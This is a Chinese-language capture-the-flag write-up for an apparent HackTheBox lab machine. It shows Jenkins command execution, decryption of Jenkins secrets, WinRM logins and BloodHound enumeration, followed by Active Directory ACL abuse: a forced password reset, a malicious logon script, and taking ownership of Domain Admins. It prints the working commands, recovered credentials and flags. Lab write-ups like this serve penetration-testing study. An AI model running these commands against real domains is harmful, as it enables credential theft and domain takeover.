Jenkins+DC渗透测试实战：从GenericWrite到域控提权

1. 信息收集与初始访问

1.1 目标识别

• IP地址: 10.10.11.132
• 开放端口:
  • 80/tcp: Microsoft IIS httpd 10.0
  • 5985/tcp: Microsoft HTTPAPI httpd 2.0 (WinRM)
  • 8080/tcp: Jetty 9.4.43.v20210629 (Jenkins)

1.2 Jenkins初始访问

1. 添加hosts记录:

echo '10.10.11.132 object.htb' | sudo tee -a /etc/hosts

2. 创建测试Job:

• 访问 http://object.htb:8080/job/123/configure
• 在构建步骤中添加命令执行测试:

cmd /c ping -n 1 10.10.16.14

3. 获取API密钥:

• 访问 http://object.htb:8080/user/maptnh/configure
• 格式: http://[username]:[token]@[host]/job/[job name]/build?token=[token name]
• 示例:

curl 'http://maptnh:116d564194424146e807b1db062e1d3edf@object.htb:8080/job/123/build?token=116d564194424146e807b1db062e1d3edf'

2. 权限提升与横向移动

2.1 绕过防火墙限制

检查出站防火墙规则:

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName,@{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}},@{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}}, Enabled, Profile,Direction,Action

2.2 Jenkins凭证解密

1. 收集必要文件:

• 用户配置文件: C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035\config.xml
• Master key: ..\..\secrets\master.key
• Secret文件: ..\..\secrets\hudson.util.Secret

2. 使用jenkins-credentials-decryptor解密:

./jenkins-credentials-decryptor_1.2.2_Linux_x86_64 -m master.key -s hudson.util.Secret -c conf.xml

输出:

[{
  "id": "320a60b9-1e5c-4399-8afe-44466c9cde9e",
  "password": "c1cdfun_d2434",
  "username": "oliver"
}]

3. 使用凭证通过WinRM登录:

evil-winrm -i 10.10.11.132 -u oliver -p c1cdfun_d2434

3. 域内信息收集与权限提升

3.1 BloodHound枚举

1. 上传并执行SharpHound:

.\SharpHound.exe -c All

2. 下载收集结果:

download 20250911050125_BloodHound.zip

分析发现攻击路径:

1. 对Smith用户有修改密码权限
2. Smith对Maria有GenericWrite权限
3. Smith在Domain Admins组上有WriteOwner权限

3.2 修改Smith密码

$newpass = ConvertTo-SecureString 'ThisMyPassword!@' -AsPlainText -Force
Set-DomainUserPassword -Identity smith -AccountPassword $newpass

使用新凭证登录:

evil-winrm -i 10.10.11.132 -u smith -p 'ThisMyPassword!@'

4. 利用GenericWrite权限

4.1 通过登录脚本提权(Smith → Maria)

1. 上传PowerView.ps1
2. 创建恶意脚本:

Set-Content -Path "C:\programdata\exp.ps1" -Value "Compress-Archive -Path 'C:\Users\maria\*' -DestinationPath 'C:\programdata\exp.zip' -Force"

3. 设置Maria的登录脚本:

Set-DomainObject -Identity "maria" -Set @{scriptPath="C:\programdata\exp.ps1"}

4. 下载结果文件:

download exp.zip

5. 破解Maria密码:

crackmapexec winrm 10.10.11.132 -u maria -p PASS_LIST

成功获取密码: W3llcr4ft3d_4cls

5. 域管理员提权

5.1 利用WriteOwner权限(Maria → Admin)

1. 将Domain Admins组的所有权转移给Maria:

Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'

2. 为Maria添加对Domain Admins组的完全控制权限:

Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All

3. 将Maria添加到Domain Admins组:

Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'

验证权限:

whoami /groups

6. 获取最终凭证

• 用户flag: 53af61740b4bb95f719f6aa8895d7e08
• 管理员flag: a761817e3b7d766a8e2358cc18c8d90f

关键工具与资源

1. jenkins-credentials-decryptor: 解密Jenkins凭证

   • GitHub: https://github.com/hoto/jenkins-credentials-decryptor

2. BloodHound/SharpHound: 活动目录权限关系分析

   • GitHub: https://github.com/BloodHoundAD/BloodHound
   • GitHub: https://github.com/BloodHoundAD/SharpHound

3. PowerView: PowerShell活动目录枚举工具

   • GitHub: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

4. Evil-WinRM: Windows远程管理工具

   • GitHub: https://github.com/Hackplayers/evil-winrm